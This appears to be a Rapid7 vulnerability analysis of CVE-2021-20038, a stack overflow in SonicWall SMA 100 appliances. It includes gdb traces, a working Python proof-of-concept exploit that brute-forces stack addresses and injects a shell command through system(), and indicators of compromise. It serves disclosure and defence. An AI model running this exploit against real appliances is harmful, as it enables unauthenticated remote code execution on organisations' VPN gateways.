Description
On December 7, 2021, SonicWall released new firmware for their Secure Mobile Access (SMA) 100 series. SonicWall issued a security advisory on January 11, 2022 notifying users that the December releases fixed security issues found by Rapid7. The most critical issue, an unauthenticated stack-based buffer overflow in the web interface, allows remote attackers to execute arbitrary code as the nobody user. The vulnerability was assigned CVE-2021-20038 and has a CVSS score of 9.8.
Prior to publication of this AttackerKB, no public proof of concept exploit existed. However, this entry contains proof of concept exploits and an extended discussion about crafting a payload to achieve unauthenticated remote code execution. This issue is not yet known to have been exploited in the wild.
Affected products
The following firmware versions for the SMA 100 series are affected:
- 10.2.1.2-24sv and earlier
- 10.2.1.1-19sv and earlier
- 10.2.1.0-17v and earlier
Neither the 9.x or 10.2.0.x versions are affected.
Rapid7 analysis
Note that the offsets and addresses discussed in this analysis are from SMA 10.2.1.1-19sv and they may vary slightly between versions.
CVE-2021-20038 is a stack-based buffer overflow that occurs within the httpd binary. The SonicWall SMA 100 series uses a modified version of the Apache HTTP server. One of the SonicWall modifications introduced this vulnerability. The issue arises from how environment variables are concatenated into a string within mod_cgi.so. Because the attacker-provided QUERY_STRING is not subject to any type of length check, an attacker can overflow a stack-based buffer via strcat.

An overly long QUERY_STRING will also cause future bounds checks on the buffer to fail due to an integer overflow, resulting in a series of strcat calls that further exceed the bounds of the stack-based buffer.
The following curl command demonstrates crashing the HTTP server:
albinolobster@ubuntu:~$ curl --insecure "https://10.0.0.7/?AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
curl: (52) Empty reply from serverFrom the view of gdb the final strcat call looks like the following. Note that the vulnerable buffer starts at 0xbfb6ae42 and is supposed to be limited to 400 bytes.
Breakpoint 1, 0xb69a88c3 in ?? () from /lib/mod_cgi.so
(gdb) disas 0xb69a88c3,0xb69a88c8
Dump of assembler code from 0xb69a88c3 to 0xb69a88c8:
=> 0xb69a88c3: call 0xb69a6a0c <strcat@plt>
End of assembler dump.
(gdb) x/2wx $esp
0xbfb6acc0: 0xbfb6ae42 0x0969e9a8
(gdb) printf "%s\n", 0xbfb6ae42
10.0.0.9 QUERY_STRING=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA WAF_NOT_LICENSED=1SCRIPT_URL=/SCRIPT_URI=https://10.0.0.7/HTTPS=onHTTP_HOST=10.0.0.7HTTP_USER_AGENT=curl/7.74.0HTTP_ACCEPT=*/*SERVER_SIGNATURE=SERVER_SOFTWARE=SonicWALL SSL-VPN Web ServerSERVER_NAME=10.0.0.7SERVER_ADDR=10.0.0.7SERVER_PORT=443REMOTE_ADDR=10.0.0.9DOCUMENT_ROOT=/usr/src/EasyAccess/www/htdocsREQUEST_SCHEME=httpsCONTEXT_PREFIX=CONTEXT_DOCUMENT_ROOT=/usr/src/EasyAccess/www/htdocsSERVER_ADMIN=root@sslvpnSCRIPT_FILENAME=/usr/src/EasyAccess/www/cgi-bin/staticContentREMOTE_PORT=42326GATEWAY_INTERFACE=CGI/1.1SERVER_PROTOCOL=HTTP/1.1REQUEST_METHOD=GET
(gdb) printf "%s\n", 0x0969e9a8
REQUEST_URI=/?AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
(gdb)The overflow results in a crash that occurs due to an invalid memory access.
Program received signal SIGSEGV, Segmentation fault.
0xb69a8fe9 in ?? () from /lib/mod_cgi.so
(gdb) disas 0xb69a8fe6,0xb69a8ff9
Dump of assembler code from 0xb69a8fe6 to 0xb69a8ff9:
0xb69a8fe6: mov 0x8(%ebp),%eax
=> 0xb69a8fe9: mov 0x110(%eax),%eax
0xb69a8fef: movl $0x2000,0x10(%esp)
0xb69a8ff7: movl $0x0,0x14(%esp)
End of assembler dump.
(gdb) print $eax
$1 = 1094795585
(gdb) x/1wx $eax
0x41414141: Cannot access memory at address 0x41414141
(gdb) bt
#0 0xb69a8fe9 in ?? () from /lib/mod_cgi.so
#1 0x41413f2f in ?? ()
#2 0x41414141 in ?? ()
#3 0x41414141 in ?? ()
#4 0x41414141 in ?? ()
#5 0x41414141 in ?? ()
#6 0x41414141 in ?? ()In the above GDB output, you can see that mod_cgi.so attempts to dereference a pointer that had been stored at $ebp+8, but it gets the invalid address of 0x41414141 or AAAA. This is part of the “payload” we sent in the curl message. In fact, we can look back to $ebp-982 to see the entire environment array that overflowed the buffer:
(gdb) printf "%s\n", $ebp-982
10.0.0.9 QUERY_STRING=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA WAF_NOT_LICENSED=1SCRIPT_URL=/SCRIPT_URI=https://10.0.0.7/HTTPS=onHTTP_HOST=10.0.0.7HTTP_USER_AGENT=curl/7.74.0HTTP_ACCEPT=*/*SERVER_SIGNATURE=SERVER_SOFTWARE=SonicWALL SSL-VPN Web ServerSERVER_NAME=10.0.0.7SERVER_ADDR=10.0.0.7SERVER_PORT=443REMOTE_ADDR=10.0.0.9DOCUMENT_ROOT=/usr/src/EasyAccess/www/htdocsREQUEST_SCHEME=httpsCONTEXT_PREFIX=CONTEXT_DOCUMENT_ROOT=/usr/src/EasyAccess/www/htdocsSERVER_ADMIN=root@sslvpnSCRIPT_FILENAME=/usr/src/EasyAccess/www/cgi-bin/staticContentREMOTE_PORT=42326GATEWAY_INTERFACE=CGI/1.1SERVER_PROTOCOL=HTTP/1.1REQUEST_METHOD=GETREQUEST_URI=/?AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAASCRIPT_NAME=/index.htmlmod_cgi.so is attempting to load *(*($ebp+8)+0x110) in order to pass it as the first parameter to ap_get_brigade:

ap_get_brigade is a normal Apache httpd function, so we can easily look up the source:
AP_DECLARE(apr_status_t) ap_get_brigade(ap_filter_t *next,
apr_bucket_brigade *bb,
ap_input_mode_t mode,
apr_read_type_e block,
apr_off_t readbytes)
{
if (next) {
return next->frec->filter_func.in_func(next, bb, mode, block,
readbytes);
}
return AP_NOBODY_READ;
}The parameter that we’ve overwritten with the buffer overflow is the first parameter: ap_filter_t* next. This pointer, if it isn’t null, is used to call a function stored in memory. In theory, because the attacker overwrote this pointer, they can control the function being called, therefore resulting in unauthenticated remote code execution.
Writing an RCE Exploit
Under normal circumstances, a stack-based buffer overflow like this would typically be exploited by using ret to return to an address of the attacker’s choice. However, due to the way logic flows in mod_cgi.so, the attacker can’t reach a controllable ret without first running into a long series of unavoidable potential memory access violations. As such, the most viable exploitation vector is by controlling the function call in ap_get_brigade.
Before we talk about writing an exploit, we need to understand the exploitation mitigations deployed on the system and how, in particular, httpd is affected by them.
root@sslvpn:~ # cat /proc/sys/kernel/randomize_va_space
2Here we can see that SonicWall SMA 100 series enables full address space layout randomisation (ASLR) which means we should expect the stack, heap, libraries, and the main executable to all load at random addresses.
However, there are a few things about httpd that weakens ASLR. The first is that the main executable, httpd, is not compiled as a position independent executable so it does not load with a random base address. It will predictably load at 0x8048000 every single time.
root@sslvpn:~ # cat /proc/26775/maps
08048000-080e0000 r-xp 00000000 01:00 100949 /usr/src/EasyAccess/bin/httpd
080e0000-080e3000 rw-p 00098000 01:00 100949 /usr/src/EasyAccess/bin/httpd
080e3000-080e6000 rw-p 00000000 00:00 0Furthermore, the httpd server uses Apache’s prefork feature.
root@sslvpn:~ # /usr/src/EasyAccess/bin/httpd -l
Compiled in modules:
core.c
mod_so.c
http_core.c
prefork.cThat means that httpd forks a series of child processes to handle incoming HTTP requests. This is important because a forked child process has the exact same memory layout as the parent process. Which means that all the children will have the exact same stack, heap, and library addresses as the parent process. And, perhaps equally important to note, is that when a child process crashes, the main httpd executable simply forks a new one to replace it. Which opens up the opportunity for the attacker to guess valid addresses.
Exploitation of ap_get_brigade from our overflow is somewhat challenging in that it requires three dereferences and a pretty specific memory layout to control the function call. We did write a little program to hunt for such gadgets, and did ultimately find a couple but they weren’t usable (e.g. just resulted in new and frustrating memory access violations).
Without existing gadgets, we need to introduce the desired pattern to the system ourselves. That means getting the pattern in the heap or stack, and guessing it’s location correctly. The heap space for httpd is actually quite large and, while the attacker can get an exploitable pattern into heap memory, predicting the address that uclibc might malloc it to was not an exercise we wanted to undertake (although quite likely doable). Which left me with introducing the exploitable pattern to the stack.
There are a couple of benefits to using the stack in this case. The first of which is that, because httpd is a 32-bit executable, the stack’s top address only has 11-bits of randomness applied to it.
| Byte 1 | Byte 2 | Bytes 3 | Byte 4 |
|---|---|---|---|
| 0xbf | Highest bit always set | lowest 4 bits always 0 for page alignment | page aligned (aka 0) |
Which means we know that the stack’s top address will always be in the range of 0xbf800000 to 0xbffff000. Which narrows the potential stack top addresses to 2047 possibilities. Of course, we then need to guess the address of the actual $ebp+8 overwrite to land our exploit. But, we know that is going to be somewhere close to the top of the range. If we naively brute force a range of 0x2000 addresses for each top stack address then we should successfully guess the correct address within 16 million HTTP requests.
16 million is so many requests! It sure is. But remember, this is just a naive approach, likely vastly improved by someone who needs this to land. We are only establishing it’s possible. But we can still reduce this count a little bit more. We know that our target address will always be aligned to 0. Which reduces the number of required requests to 1 million HTTP requests.
An astute reader and experienced exploit dev might point out that we can further reduce the number of requests by repeating the exploit over and over again in our payload. A great idea! Unfortunately, we have to contend with a variety of factors that limit our ability to repeat the exploit:
- The QUERY_STRING does not get url decoded so we can’t (reasonably) use the biggest part of the exploit to actually… exploit.
- The requested page does get URL decoded but there are limitations on size and decoding %00.
- The stack-based buffer overflow occurs so close to the top of the stack that an exploit that exceeds 1700 bytes risks either generating aa memory access violation by accessing top address +1 or simply overwriting a global variable we might need later (e.g. the env[] when calling system).
- A bunch of uninteresting, useless, or repeated environment variables are outside of our control and fill up a lot of the 1700 bytes.
Given those constraints, we wrote an exploit that attempted to brute force the exploitable address by sending all ~1 million HTTP GET requests. Again, it needs to be stressed that this can be improved greatly, and the following only serves as a “this is possible” type thing.
import socket
import ssl
import time
base = 0xbf800000
curr = base
step = 0x1000
base_array = []
while curr != 0xbffff000:
base_array.append(curr)
curr += step
print("Generated " + hex(len(base_array)) + " stack top addr")
all_array = []
for base in base_array:
search_start = base - 0x2800
search_end = base - 0x0800
curr = search_start
while curr != search_end:
curr += 0x10
all_array.append(curr)
print("Generated " + hex(len(all_array)) + " search addresses")
print("Sending sploits...")
for address in all_array:
print(hex(address), end='\r')
address -= 0x110
address += 4
# transform bytes into url encoded
one = (address >> 24) & 0x000000ff
two = (address >> 16) & 0x000000ff
three = (address >> 8) & 0x000000ff
four = (address & 0x000000ff)
if one == 0 or two == 0 or three == 0 or four == 0:
# the server won't accept a null byte
continue
addr_one = b"%" + str.encode('{:02x}'.format(four, 'x')) + b"%" + str.encode('{:02x}'.format(three, 'x')) + b"%" + str.encode('{:02x}'.format(two, 'x')) + b"%" + str.encode('{:02x}'.format(one, 'x'))
address += 0x110
address += 4
# transform bytes into url encoded
one = (address >> 24) & 0x000000ff
two = (address >> 16) & 0x000000ff
three = (address >> 8) & 0x000000ff
four = (address & 0x000000ff)
if one == 0x28 or two == 0x28 or three == 0x28 or four == 0x28:
# oh no the guy that wrote this is a hack! Should have
# shifted the payload so meta characters wouldn't matter.
# oh well :(
continue
addr_two = b"%" + str.encode('{:02x}'.format(four, 'x')) + b"%" + str.encode('{:02x}'.format(three, 'x')) + b"%" + str.encode('{:02x}'.format(two, 'x')) + b"%" + str.encode('{:02x}'.format(one, 'x'))
system_addr = b"%64%b8%06%08"
shell_cmd = b";{touch,/tmp/lol};"
#payload = ((b"%94%d7%ba%bf") + (b"%a8%d8%ba%bf") + (b"%a8%d8%ba%bf") + (b"%64%b8%06%08") + b";{touch,/tmp/lol};")*2
exploit = addr_one + addr_two + addr_two + system_addr + shell_cmd
payload = exploit*2
spray_pray = b"/" + payload + b"?" + (b'z'*518)
request = b'GET ' + spray_pray + b'\r\n\r\n'
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
wrappedSocket = ssl.wrap_socket(sock)
wrappedSocket.connect(("10.0.0.7", 443))
wrappedSocket.send(request)
wrappedSocket.recv(1280)
wrappedSocket.close()The most interesting part of the exploit is the generation of the GET request. Which, for example, will look something like this to the HTTP server:
GET /%04%d7%7f%bf%18%d8%7f%bf%18%d8%7f%bf%64%b8%06%08;{touch,/tmp/lol};%04%d7%7f%bf%18%d8%7f%bf%18%d8%7f%bf%64%b8%06%08;{touch,/tmp/lol};?zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzThe exploit payload (which is repeated twice, although the exploit doesn’t capitalize on this) is four addresses and a string to pass to system:
- 0xbf7fd704
- 0xbf7fd818
- 0xbf7fd818
- 0x0806b864
- ;{touch,/tmp/lol};
The first address, when added with 0x110 and dereferenced, will resolve to the second address. When dereferenced, the second address points to the third and the third address plus four points to the fourth, which will resolve into a call to system. The string passed to system starts at 0xbf7d818 so there are a handful of bad characters before /bin/sh reaches touch /tmp/lol.
Testing the exploit on a target with a top stack address of 0xbfb6c000 resulted in successful exploitation after 4 hours and 43 minutes.
root@sslvpn:~ # date
Thu Nov 25 03:29:39 PST 2021
root@sslvpn:~ # ls -l /tmp/lol
ls: cannot access /tmp/lol: No such file or directory
root@sslvpn:~ # ls -l /tmp/lol
-rw-r--r-- 1 nobody nobody 0 Nov 25 08:05 /tmp/lolAs you can see, the attacker gains execution as nobody.
The above exploit is bad for a bunch of reasons. Some follow:
- Could use a repeating pattern to guess multiple addresses in one HTTP request.
- Could use a smaller scan range (0x800 - 0x2800 is a very generous range).
- The exploit breaks if address 3 has bad shell characters in it (e.g. ().
The exploit also doesn’t consider alignment issues that would occur due to:
- The target using a hostname that isn’t sslvpn.
- A target IP and host IP that aren’t 8 bytes long.
- A destination port that isn’t 3 bytes long
- A source port that isn’t 5 bytes long.
None-the-less, this alone shows that even with challenges, this issue is absolutely exploitable and should be patched as soon as reasonably possible. We also addressed a number of these issues in a more mature exploit with a weaponized payload that you can find on GitHub.
Indicators of Compromise
The attack, especially as written above, is fairly noisy. The best place to look for indicators of compromise is the httpd.log. This can be retrieved via the web interface: System -> Diagnostics -> Tech Support Report -> Download Report. The httpd.log file will be within the zip archive. Logged segmentation faults are potential signs of compromise. Here is a snippet from my system’s httpd.log after exploitation:
[Thu Nov 25 13:30:11.805181 2021] [core:notice] [pid 1779] AH00052: child pid 30485 exit signal Segmentation fault (11)
[Thu Nov 25 13:30:11.805375 2021] [core:notice] [pid 1779] AH00052: child pid 30486 exit signal Segmentation fault (11)
[Thu Nov 25 13:30:11.805571 2021] [core:notice] [pid 1779] AH00052: child pid 30487 exit signal Segmentation fault (11)
[Thu Nov 25 13:30:11.805765 2021] [core:notice] [pid 1779] AH00052: child pid 30488 exit signal Segmentation fault (11)
[Thu Nov 25 13:30:11.843348 2021] [core:notice] [pid 1779] AH00052: child pid 30489 exit signal Segmentation fault (11)
[Thu Nov 25 13:30:11.843583 2021] [core:notice] [pid 1779] AH00052: child pid 30490 exit signal Segmentation fault (11)
[Thu Nov 25 13:30:11.843785 2021] [core:notice] [pid 1779] AH00052: child pid 30491 exit signal Segmentation fault (11)
[Thu Nov 25 13:30:11.843983 2021] [core:notice] [pid 1779] AH00052: child pid 30492 exit signal Segmentation fault (11)
[Thu Nov 25 13:30:11.844214 2021] [core:notice] [pid 1779] AH00052: child pid 30493 exit signal Segmentation fault (11)Realistically, an attacker can delete this log file shortly after exploiting the system, but it’s worthwhile for catching both exploitation attempts and attackers that don’t properly clean up after themselves.
The status.txt log might also be of interest. Specifically, it displays all ps output showing all running processes. Unfortunately, reviewing this log requires some familiarity with things that should and should not be running on the system which can be very hard to know for a layperson. Reviewing this output on my system, we can easily identify gdb and busybox as anomalies.
Processes
-----------------------------------------------------------------
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 0.0 0.0 2068 584 ? Ss Nov27 0:42 init [3]
root 2 0.0 0.0 0 0 ? S Nov27 0:00 [kthreadd]
root 3 0.0 0.0 0 0 ? S Nov27 0:00 [ksoftirqd/0]
root 4 0.0 0.0 0 0 ? S Nov27 0:00 [kworker/0:0]
root 5 0.0 0.0 0 0 ? S< Nov27 0:00 [kworker/0:0H]
root 6 0.0 0.0 0 0 ? S Nov27 0:00 [kworker/u4:0]
root 7 0.0 0.0 0 0 ? S Nov27 2:12 [rcu_sched]
root 8 0.0 0.0 0 0 ? S Nov27 0:00 [rcu_bh]
root 9 0.0 0.0 0 0 ? S Nov27 0:06 [migration/0]
root 10 0.0 0.0 0 0 ? S Nov27 0:15 [migration/1]
root 11 0.0 0.0 0 0 ? S Nov27 0:01 [ksoftirqd/1]
root 13 0.0 0.0 0 0 ? S< Nov27 0:00 [kworker/1:0H]
root 14 0.0 0.0 0 0 ? S< Nov27 0:00 [khelper]
root 15 0.0 0.0 0 0 ? S< Nov27 0:00 [netns]
root 461 0.0 0.0 0 0 ? S< Nov27 0:00 [writeback]
root 463 0.0 0.0 0 0 ? S< Nov27 0:00 [bioset]
root 465 0.0 0.0 0 0 ? S< Nov27 0:00 [kblockd]
root 622 0.0 0.0 0 0 ? S< Nov27 0:00 [ata_sff]
root 632 0.0 0.0 0 0 ? S Nov27 0:00 [khubd]
root 742 0.0 0.0 0 0 ? S Nov27 0:01 [kworker/0:1]
root 757 0.0 0.0 0 0 ? S Nov27 0:00 [kswapd0]
root 758 0.0 0.0 0 0 ? SN Nov27 0:00 [ksmd]
root 825 0.0 0.0 0 0 ? SN Nov27 0:00 [khugepaged]
root 826 0.0 0.0 0 0 ? S Nov27 0:00 [fsnotify_mark]
root 845 0.0 0.0 0 0 ? S< Nov27 0:00 [crypto]
root 1011 0.0 0.0 0 0 ? S Nov27 0:01 [kworker/1:1]
root 1061 0.0 0.0 0 0 ? S< Nov27 0:00 [iscsi_eh]
root 1065 0.0 0.0 0 0 ? S< Nov27 0:00 [kworker/0:1H]
root 1069 0.0 0.0 0 0 ? S< Nov27 0:00 [fc_exch_workque]
root 1070 0.0 0.0 0 0 ? S< Nov27 0:00 [fc_rport_eq]
root 1071 0.0 0.0 0 0 ? S< Nov27 0:00 [fcoethread/0]
root 1072 0.0 0.0 0 0 ? S< Nov27 0:00 [fcoethread/1]
root 1075 0.0 0.0 0 0 ? S< Nov27 0:00 [fnic_event_wq]
root 1076 0.0 0.0 0 0 ? S< Nov27 0:00 [fnic_fip_q]
root 1078 0.0 0.0 0 0 ? S< Nov27 0:00 [bnx2fc_l2_threa]
root 1079 0.0 0.0 0 0 ? S< Nov27 0:00 [bnx2fc_thread/0]
root 1080 0.0 0.0 0 0 ? S< Nov27 0:00 [bnx2fc_thread/1]
root 1107 0.0 0.0 0 0 ? S Nov27 0:00 [scsi_eh_0]
root 1149 0.0 0.0 0 0 ? S< Nov27 0:00 [bnx2i_thread/0]
root 1150 0.0 0.0 0 0 ? S< Nov27 0:00 [bnx2i_thread/1]
root 1197 0.0 0.0 0 0 ? S< Nov27 0:00 [bond0]
root 1244 0.0 0.0 0 0 ? S< Nov27 0:00 [cnic_wq]
root 1246 0.0 0.0 0 0 ? S< Nov27 0:00 [cxgb4]
root 1257 0.0 0.0 0 0 ? S Nov27 0:00 [kworker/1:2]
root 1308 0.0 0.0 0 0 ? S< Nov27 0:00 [deferwq]
root 1322 0.0 0.0 0 0 ? S Nov27 0:00 [kjournald]
root 1328 0.0 0.0 0 0 ? S< Nov27 0:00 [loop0]
root 1407 0.0 0.0 13752 2744 ? Sl Nov27 1:45 /usr/sbin/vmtoolsd
root 1408 0.0 0.0 0 0 ? S< Nov27 0:00 [kworker/1:1H]
root 1435 0.0 0.0 2376 588 ? Ss Nov27 0:00 /usr/sbin/fcron
root 1447 0.0 0.4 19712 16996 pts/1 S+ 03:51 0:00 ./gdb -p 30092
root 1483 0.0 1.4 93152 59728 ? Sl Nov27 0:55 /usr/bin/python3.6 /usr/src/EasyAccess/www/python/authentication_api/restful_api.py
nobody 1526 0.0 0.0 0 0 ? Z 03:52 0:00 [staticContent] <defunct>
root 1551 0.0 0.2 20720 11124 ? Ss Nov27 1:42 /usr/src/EasyAccess/bin/smm -d
root 1627 0.0 0.0 1904 224 ? Ss Nov27 0:00 /usr/sbin/ntpUpdate -d -i 3600 -p time.nist.gov -s time.windows.com
root 1634 0.0 0.0 2120 596 ? Ss Nov27 0:00 /usr/sbin/syslogd -m 0
root 1639 0.0 0.0 3136 1684 ? Ss Nov27 0:00 /usr/sbin/klogd -c 1
root 1712 0.0 0.0 13208 1980 ? Ss Nov27 0:00 /usr/sbin/crlUpdate -d -i 1440
root 1719 0.0 0.0 13828 1968 ? Ss Nov27 0:03 htcacheclean -nti -d60 -l5M -p/var/webcache
root 1735 0.0 0.0 13164 1740 ? Ss Nov27 0:00 /usr/src/EasyAccess/bin/anonySessionD
root 1737 0.0 0.0 13164 1492 ? S Nov27 0:00 /usr/src/EasyAccess/bin/anonySessionD
root 1740 0.0 0.0 14320 3484 ? Ss Nov27 0:00 /usr/src/EasyAccess/bin/firebase -d
root 1748 0.0 0.3 45472 15316 ? Sl Nov27 0:00 /usr/bin/node /usr/src/EasyAccess/bin/js/master.js
root 1749 0.0 0.0 2080 268 ? S Nov27 0:00 cat
root 1752 0.0 0.3 45308 15408 ? Sl Nov27 0:00 /usr/bin/node --debug-port=5859 /usr/src/EasyAccess/bin/js/ssoProxy.js
root 1760 0.0 0.0 13616 2116 ? Ss Nov27 0:00 /usr/src/EasyAccess/bin/wireguard -d
root 1779 0.8 0.2 23468 8940 ? Ss Nov27 21:47 /usr/src/EasyAccess/bin/httpd
root 1805 0.0 0.0 13852 2556 ? Ss Nov27 0:00 /usr/src/EasyAccess/bin/ftpsession -d
root 1811 0.1 0.0 13916 3936 ? S<s Nov27 2:51 /usr/src/EasyAccess/bin/graphd -d
root 1820 0.0 0.0 13356 1816 ? Ss Nov27 0:00 /usr/src/EasyAccess/bin/rootHelper -d
root 1832 0.0 0.0 54412 2548 ? Ssl Nov27 0:04 /usr/src/EasyAccess/bin/dhcpcd -d
root 1851 0.0 0.1 15968 5260 ? Ss Nov27 0:06 /usr/src/EasyAccess/bin/nxlog -d
root 1867 0.0 0.0 13304 3152 ? S Nov27 0:00 /usr/src/EasyAccess/bin/downloadclient -d
root 1893 0.0 0.0 13204 2512 ? S Nov27 0:00 /usr/sbin/LicenseManager
root 1894 0.0 0.0 13200 2600 ? S Nov27 0:00 /usr/sbin/PKGDownload
root 1897 0.0 0.0 13772 3708 ? Ss Nov27 0:16 /usr/src/EasyAccess/bin/HA -d
root 1922 0.0 0.1 15224 5976 ? Ss Nov27 0:00 /usr/sbin/updateAgent -d
root 1923 0.0 0.0 13172 2556 ? S Nov27 0:06 /usr/sbin/watchdog
root 1924 0.0 0.1 13708 4948 ? S Nov27 0:14 /usr/sbin/swMonitor
root 2205 0.0 0.0 0 0 ? S Nov28 0:00 [kworker/u4:2]
root 2379 0.0 0.0 2048 432 tty1 Ss+ Nov27 0:00 /sbin/mingetty tty1
root 2380 0.0 0.0 2048 432 tty2 Ss+ Nov27 0:00 /sbin/mingetty tty2
root 4284 0.0 0.0 1136 64 ? Ss Nov27 0:00 ./busybox telnetd
root 4301 0.0 0.0 3564 1768 pts/0 Ss+ Nov27 0:00 -cli
root 4346 0.0 0.0 3488 1752 pts/1 Ss Nov27 0:00 -cli
nobody 18542 0.0 0.2 25772 12268 ? S 07:41 0:00 /usr/src/EasyAccess/bin/httpd
nobody 21363 0.0 0.7 44288 29776 ? S 08:19 0:01 /usr/src/EasyAccess/bin/httpd
nobody 24039 0.0 0.7 44344 30100 ? S 08:55 0:00 /usr/src/EasyAccess/bin/httpd
nobody 24259 0.0 0.7 44288 29776 ? S 08:58 0:01 /usr/src/EasyAccess/bin/httpd
nobody 27511 0.0 0.7 44340 30128 ? S 09:42 0:01 /usr/src/EasyAccess/bin/httpd
nobody 30092 0.0 0.2 25772 12200 ? t 03:01 0:00 /usr/src/EasyAccess/bin/httpd
nobody 30331 1.1 0.7 44284 29316 ? S 10:20 0:00 /usr/src/EasyAccess/bin/httpd
nobody 30382 0.0 0.2 25700 11904 ? S 10:20 0:00 /usr/src/EasyAccess/bin/httpd
nobody 30391 0.0 0.2 25568 8788 ? S 10:20 0:00 /usr/src/EasyAccess/bin/httpd
nobody 30392 0.0 0.2 25568 8788 ? S 10:20 0:00 /usr/src/EasyAccess/bin/httpd
nobody 30394 0.0 0.2 25568 8788 ? S 10:20 0:00 /usr/src/EasyAccess/bin/httpd
nobody 30395 0.0 0.2 25568 8788 ? S 10:20 0:00 /usr/src/EasyAccess/bin/httpd
nobody 30396 0.0 0.2 25700 11908 ? S 10:20 0:00 /usr/src/EasyAccess/bin/httpd
nobody 30397 0.0 0.2 25568 8788 ? S 10:20 0:00 /usr/src/EasyAccess/bin/httpd
root 30465 2.0 0.1 13776 4612 ? S 10:21 0:00 /usr/src/EasyAccess/www/spog/exportDiagnostics
root 30599 0.0 0.0 3480 1420 ? S 10:21 0:00 sh -c ps awux>>/tmp/status.txt 2>&1
root 30600 0.0 0.0 2556 880 ? R 10:21 0:00 ps awuxFinally, it’s important to note that the root user has write access to the web server’s cgi-bin directory (/usr/src/EasyAccess/www/cgi-bin/) which could allow them to upload a webshell to the system. As noted earlier, escalation to root via the nobody user is quite trivial. As such, reviewing the http_request.log for potential access to a webshell could be beneficial. However, modifications to cgi-bin will not persist between reboots (although whether a rebooted system is trust-worthy after exploitation is another matter).
